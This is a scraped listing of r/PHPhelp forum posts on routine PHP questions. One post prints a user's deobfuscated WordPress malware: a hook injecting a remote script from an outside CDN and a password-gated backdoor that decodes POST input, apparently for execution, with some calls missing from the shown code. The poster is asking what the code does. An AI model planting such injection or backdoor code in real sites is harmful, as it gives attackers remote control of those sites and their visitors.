r/PHPhelp • • Jan 23 '24

Is there any valid reason to limit which characters are allowed for a password?

8 Upvotes

Had to work on a password reset feature today in our codebase and I noticed that we limit which characters are allowed to use in a password. Most of the stuff you find on a english keyboard is fine but still, why do that at all?

The whole thing gets hashed anyway so whats the point? Could there be characters that break the hash algorithm?

I asked my seniors but they couldn’t think of a reason why it was built that way. A dev who left last year told me that back when he started at the company they were still saving passwords in plain text. So my theory is that this character limitation stems from back then to make sure the database could handle the passwords and nobody bothered to remove it since then.

Is this a bad practice or does it not really matter?


r/PHPhelp • • Jan 22 '24

Solved MVC framework

8 Upvotes

Anyone know of sites that teach a basic concept of an MVC framework and how to design one. I want to make one from scratch based on 8.x.x version. I know there are dozens of frameworks already made but I enjoy learning how to make my own. The last one I made was based on 7.x.x but some of the php libraries have been changed and my code produces errors now


r/PHPhelp • • Dec 09 '23

is there an easy way to create a safe login page against SQL injection?

8 Upvotes

or should I just create everything manually?


r/PHPhelp • • Nov 23 '23

PHP is hard, coming from a strictly-typed language

8 Upvotes

I recently started my first software development job. We're working in PHP and Laravel/Lumen. Most of my personal projects were in C#, so I'm switching to PHP after mainly working with strict types. I find PHP to be difficult because of this.


r/PHPhelp • • Aug 25 '23

Solved Is it possible to Receive emails in PHP?

8 Upvotes

I have been tasked with developing a crm to receive emails, process them and allow the users to respond to these emails within this application. I am very conversant with sending emails with php but have not tried receiving emails. I have checked stackoverflow and chatgpt and all have given solutions but don't seem to work out. I want to find out if anyone here has ever done it before


r/PHPhelp • • May 31 '23

Javascript Array Is Getting Converted To A String in PHP File?

8 Upvotes

I have a Javascript file that is processing a form. It first takes all the input from the form and makes an associative array of key value pairs. I can confirm that at this stage, it is regsitering as an array in JS (tested it with the isArray function).

I then make a formData variable and append the array to it (using a new key name to refer to it). And then use XMLHttpRequest to post it to a php handler.

 let xhr = new XMLHttpRequest();
 xhr.open("POST", filePath) 
 let formData = new FormData();
 formData.append("processedArr", associativeArr);
 xhr.send(formData);

But when I check the variable type in my PHP file with gettype, it is showing up as a single string. All of the key value pairs are just chained together in one single string. What are some reasons why this happens? How come its getting converted from an array to a string?


r/PHPhelp • • May 25 '23

PHP VSCode extensions

8 Upvotes

Hey there,

Should I use intelephense and intellisense beside eachother, or just disable Intellisense and roll with Intelephense, I am kinda unsure in what to do.

Also feel free to suggest any other good extensions for PHP/Laravel development.

Thanks in advance.


r/PHPhelp • • May 20 '23

so is PHP just Laravel now?

8 Upvotes

Do people just skip learning vanilla PHP altogether and go straight to the framework? Am I the only one who hasn’t felt the need to learn Laravel? Is my resistance futile?


r/PHPhelp • • May 19 '23

Solved What does this obfuscated PHP Wordpress malware do?

8 Upvotes

A friend of mine asked me for help because his Wordpress site stopped working ("Parse error: syntax error, unexpected ',' in ...").

I took a look at the malformed PHP file in question and quickly recognized that it uses some tricks to obfuscate itself. Like something you see with viruses that want to avoid being detected by malware scanners.

Here is my attempt at deobfuscating the file:

<?php

function posts_layouts_head(){
	echo "<script src='https://cdn.scriptsplatform.com/scripts/stats.js' type='text/javascript'></script>";
}
("wp_head",'posts_layouts_head');
$d = "dd";
$e = md5("343");
$f = base64_decode("ZmQ0NWRjZGI0NGFiODViYjM2NWVmYTE4ZjQ4MTM3OGQ=");

if (isset($_POST[$d])) {
	if (md5($_POST[$d]) == $f) {
		(base64_decode($_POST[$d.'1']));
	}
}
if (isset($_GET['343'])) {
	echo $e;
	die();
}

Here is the original file:
https://gist.github.com/YourMJK/15caf84c767af61af8fb2d4ba371aaad

I don't know anything about PHP or Wordpress, can somebody help me figure out what this code would have done?
Obviously it didn't run, because it had a syntax error, right?


r/PHPhelp • • May 16 '23

Cannot get all matching values when MySQL query is run in PHP

8 Upvotes

Hello everyone

This is my first post here and the post concerns getting matching values using a MySQL query run in a PHP script.

I have two PHP scripts, one is a page template and the other collects SQL query functions, and a MySQL database named bookings.

The page template simply calls a function named find_booking_by_id:

isset($_GET['id']) ? $id = $_GET['id'] : $id = "";

$bookings = find_cbooking_by_id($id);var_dump($bookings);

The function is defined in the other php file as follows:

function find_booking_by_id($id) {global $db;$sql = "SELECT * FROM bookings ";$sql .= 'WHERE product_id="' . db_escape($db, $id) . '" ';$result = mysqli_query($db, $sql);confirm_result_set($result);$booking = mysqli_fetch_assoc($result);mysqli_free_result($result);return $booking;}

The booking database contains a field named product_id that has a number of records with the same product_id values, which I would like to get by running the SELECT query as written above.

The problem I'm faced with is although the same query does return all of the records with the matching product_id, it only returns the first record with the matching product_id when it is called from these PHP scripts. Calling var_dump($result) after $result = mysqli_query($db, $sql); and var_dump($booking) after $booking = mysqli_fetch_assoc($result); also returns the first matching record.

It would be appreciated if anyone would help me work out the correct PHP script to return all the matching records.

Thanks for reading this,

Ead


r/PHPhelp • • May 15 '23

Scaling a PHP application to use multiple servers. Good tutorials? Blogs? Books?

8 Upvotes

I'm starting from the beginning here. All I know how to do is create a php/mysql application on a single server. But I have zero experience in splitting it across multiple servers.

I've spent a couple of days reading up on things like load balancing, microservices, distributed transactions, and my head is spinning. I still don't really have the first clue how to implement any of it. I need a dummies' guide.

Can anyone recommend any easy to follow resources for splitting a php/mysql application across multiple servers?

There seem to be a lot of things to consider. Sharing data like uploaded files, sessions, replicating data between databases etc. I don't know how to do any of this. Are there any thorough tutorials that start from the ground, up? I honestly barely understand where to begin, no-one has taught this to me.

Sorry for the noob question. I've been doing php and mysql for 20 years and have never had to even consider this before. I have no practical idea how to split up an application, or if there are multiple ways, and what to choose.


r/PHPhelp • • May 11 '23

Looking for forgoten PHP Framework

8 Upvotes

Ten years ago, i'd worked with framework that had "special" controller.In short - there was config only one simple config.ini - to cookies, db, session, paths, templates etc. and only one starter function ex. "App::run()".Controller was looking to specified directory and if name in URI was same as class name it run it.For example http://domain.ex/{className}/{method}/{params}.If method was not specified it runned ClassName::className() or ClassName::err404 (or similar if existed - don't remember correct name). So no router, no additional configs, just runme.Framework was is single small PHAR file (less than 300kb), and application data was in APP or PRIV folder.No composer, deps, just paste/config and run. CodeIgniter or Kohana excluded. Do you remember something? Or do you have something similar? Sadly i've lost contact with old company.

Edit: It had also simple AOP, but don't remember usage.


r/PHPhelp • • May 06 '23

Solved Problems with SESSIONS on different subdomains on PHP 8.2

8 Upvotes

I recently upgraded my website to PHP 8.2 and discovered that if I set a session on a subdomain, it's no longer visible on a different subdomain. On php7.4, it was working perfectly.

The cookie PHPSESSID is there, and the value is the same, but when I print $_SESSION, I can see it's empty. If I print it from the subdomain where the session was started, the $_SESSION is printed. Sessions are started like this:

session_set_cookie_params(86400, '/', '.mysite.com'); 
session_start();

I could not find anything in the changelog regarding the sessions. Do you have any idea?

EDIT: I discovered that if the SESSION is set from sub1.mysite.com, the session is visible from sub2.mysite.com and all other subdomains. The problem happens when I create the session from the main domain (https://mysite.com). In that case, the session is not shared with any other subdomain (only the session, because the cookie created from mysite.com is visible in sub.mysite.com, but the session is empty).


r/PHPhelp • • Apr 24 '23

PHP API Slowness

8 Upvotes

I'm running PHP 8.1 on Apache, and have a PHP API for a react-based application.

We recently added caching for API calls, and to my great surprise discovered very little performance improvement.

On Chrome, it shows that most of the request time is "Waiting for server response". Here's an example here using the Edge network tools.

If I measure the API script time from start to end (by using microtime() at the beginning and end), execution is < 1ms. This is down from 300-400ms before the caching. Yet somehow the time for the browser client isn't reduced!

How can I reduce the "Waiting for Server Response" time as shown in Chrome? Or, where can I look to understand where this time is being spent by Apache or PHP?


r/PHPhelp • • Apr 06 '23

Solved Help implementing an event bus in a pseudo vanilla PHP app

8 Upvotes

Hey, PHP community!

I'm working on a PHP application and I want to implement an event bus to improve the modularity and maintainability of my code. I'm familiar with the concept of event-driven architecture, but I'm not sure how to implement an event bus in my app.

The app is pseudo vanilla PHP, meaning that it doesn't use a framework like Laravel or Symfony, but rather plain PHP with some third-party libraries like Guzzle and Monolog.

So, my question is: how can I implement an event bus in my app? Are there any PHP libraries or packages that I can use? What are the best practices for using an event bus in PHP?

Any advice, resources, or examples would be greatly appreciated! Thanks in advance for your help.


r/PHPhelp • • Apr 04 '23

Insert API data into MySQL

8 Upvotes

As a learning/test project, I'm trying to insert API data from a mega millions site into a database using PHP, but I'm not sure how to call "n5" in PHP based on the API response?

API response:

{   
"success": true,   
"result": 
    {     
    "numbers": 
        [       {         
            "date": "Fri, Nov 22, 2019",         
            "n1": "7",         
            "n2": "12",         
            "n3": "17",         
            "n4": "49",         
            "n5": "53",         
            "mb": "24"       
                }     
        ],     
    "jackpot": "$208,000,000",     
    "next-jackpot": 
        {       
        "amount": "$226,000,000",
         "date": "Tue, Nov 26, 2019"     
        }   
    } 
}

PHP Code:

$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => "https://api.collectapi.com/chancegame/usaMegaMillions",
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => "",
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 30,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => "GET",
  CURLOPT_HTTPHEADER => array(
    "authorization: apikey ",
    "content-type: application/json"
  ),
));

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) {
  echo "cURL Error #:" . $err;
} else {
  // Convert the JSON String into PHP Array
  $array = json_decode($response, true); 
  
  // Extracting row by row
  foreach($array as $row) {

	$query .= 
                "INSERT INTO Meagamillions VALUES 
                ('".$row["n5"]."'); "; 
  }
}

Completely new to this, if you have any links to tutorials or helpful sites so I can read up that would be much appreciated!


r/PHPhelp • • Mar 15 '23

phpmyadmin blank page

8 Upvotes

I have been using phpmyadmin on my machine for quite a while. It suddenly started showing a blankpage when trying to access it, note that apache is working fine. Any help?

Note: I updated my php version from 8.1 to 8.2


r/PHPhelp • • Mar 02 '23

Solved Help for error with PHP executablePath in VSCode

8 Upvotes

I have a LAMP environment (Arch Linux, Apache, MariaDB, PHP). All updated and in the latest versions

I use VS Code to develop in this environment, however when using extensions like PHP Debug or PHP intelephense I get errors saying "Cannot validate because /usr/bin/php/ is not a valid php executable. Use the 'php. valid.executablePath' to configure the PHP executable."

The configuration is correct, in my terminal I ran which php to check and the return is the path defined in my configuration

"php.validate.executablePath": "/usr/bin/php/",
"php.debug.executablePath": "/usr/bin/php/", 

Additional informationWhen I run XDebug I get the following error in my terminal

Error: spawn usr/bin/php/ ENOENT
    at ChildProcess._handle.onexit (node:internal/child_process:283:19)
    at onErrorNT (node:internal/child_process:478:16)
    at process.processTicksAndRejections (node:internal/process/task_queues:83:21) {
  errno: -2,
  code: 'ENOENT',
  syscall: 'spawn usr/bin/php/',
  path: 'usr/bin/php/',
  spawnargs: [
    '-dxdebug.start_with_request=yes',
    '/srv/http/app/Controllers/AppController.php'
  ]
}

I would like your help to solve this problem.


r/PHPhelp • • Feb 21 '23

Live website update while customer watches in PHP?

8 Upvotes

Hi there, I'm interested in creating a PHP page that I can control while a customer is on the phone to me. For example we're discussing the price of their job, so I display the price live on their browser. I then add more details on my side, which auto updates (without refreshing the page) on the customers page.

What's the best way to do this with PHP? A PHP/Ajax combo? Is there a library that already does this?


r/PHPhelp • • Feb 10 '23

Solved How to debug when the website shows a blank page but no errors shown?

8 Upvotes

Hi, I'm learning PHP and suppose I have function B in my index.php file that is used in nav.partial.php file which is required in the index.view.php file.

When I call the function in the nav.partial.php file like so:

<a href="index.php" class="<?= function B() ?">Index</a>
<a href="about.php" class="<?= function B() ?">About</a>

it works when I click on the index route but does not work when I click on the about route. It just shows a blank page with no errors.

Now I understand I need function B in the about.php file to work but say I wasn't lucky enough to figure that out. How do you debug in such situations where it just shows a blank page but no errors.

In Javascript, I'm pretty sure the console would show an error saying the function doesn't exist or something similar.

Any help would be greatly appreciated!


r/PHPhelp • • Jan 28 '23

Is empty() a beautiful thing or an abomination?

8 Upvotes

Took me far too long looking at other functions like isset() and is_null() before empty() came along and has been a godsend to find if a three level deep array value which may or may not exist contains "positive" data in some form.

However I am slapping it EVERYWHERE in my code, and I'm increasingly wondering if I should be worried about that? It's just seemingly SO useful, but feels a bit like putting try / catch blocks around everything and calling it good.


r/PHPhelp • • Jan 26 '23

Solved Back to PHP/HTML/CSS

8 Upvotes

Hi :)

A long time ago I was using PHP5 + mySQL for some simple projects. After years I want to back to PHP :)

The question is:

- what's the best practice for web pages now?

- how the web structure should look for best performence? (include parts of html etc?)

- I want to build some dyamic page which will download data from other site to my DB etc


r/PHPhelp • • Jan 25 '23

Does it really matter what datatype is set on a prepared query?

8 Upvotes

Regardless of what I set as the data type I can't seem to get a query to fail.

I've tried a combination of floats, ints, strings as type "s", "i", "d" against columns that are varchar, text, int and float and all of the queries appear to complete as expected and return the data I am expecting.

The only time setting the data type incorrectly seems to actually fail the query is when I set the datatype to "b" (binary).

So I'm just curious, can I just always set the data type as "s" if it's not binary? Pro's and Con's?


r/PHPhelp • • Jan 21 '23

Does PHP only work inside C:\xampp\htdocs with a localhost?

8 Upvotes

If I try to put a php file inside any other location other than whats listed in the title, it just shows the code and doesnt execute it. Is there a way around this?